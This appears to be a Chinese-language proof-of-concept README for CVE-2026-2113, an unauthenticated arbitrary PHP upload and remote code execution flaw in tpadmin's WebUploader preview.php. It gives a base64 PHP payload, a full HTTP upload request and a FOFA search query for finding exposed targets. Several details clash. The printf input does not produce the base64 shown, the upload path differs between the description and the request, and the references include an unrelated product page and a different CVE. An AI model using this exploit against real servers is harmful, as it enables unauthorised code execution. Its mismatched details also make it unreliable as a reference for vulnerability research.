tpadmin-CVE-2026-2113-poc

一个通过任意文件上传（Arbitrary File Upload）利用具备 Web 服务器权限的远程代码执行（Remote Code Execution）漏洞的概念验证（PoC）。

漏洞描述

H-ui.admin 系统的 WebUploader 预览组件中存在一个严重的远程代码执行漏洞。<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">/public/static/admin/lib/webuploader/0.1.5/server/preview.php</font> 文件缺少适当的身份验证和文件校验，导致未认证攻击者可以直接将任意 PHP 文件上传到 Web 服务器，从而实现具备 Web 服务器权限的远程代码执行。

受影响版本

• tpadmin 至 1.3.12 版本

PoC（作者：sTy1H）

1. 构造负载（将危险语句以 base64 编码）

printf "<? php phpinfo();?>" | base64
PD9waHAgcGhwaW5mbygpOz8+

2. 使用我们的负载构造 POST 请求

POST /admin/lib/webuploader/0.1.5/server/preview.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: PHPSESSID=6mqs895r9r0k9ci9jj0hms506n
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+

3. 访问返回的 URL

在野利用

FOFA：

title='Tpadmin'

影响

未认证的远程攻击者可以利用任意文件上传漏洞，以 Web 服务器权限实现远程代码执行（RCE）。

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P - 6.9:Medium

修复与缓解措施

目前没有已知的可行对策相关信息。建议使用替代产品替换受影响的组件。

参考

• https://github.com/yuan1994/tpAdmin
• https://www.smartertools.com/smartermail/release-notes/current)
• https://nvd.nist.gov/vuln/detail/CVE-2026-23760

免责声明

本工具仅可用于经授权的安全测试。未经授权访问计算机系统属于违法行为。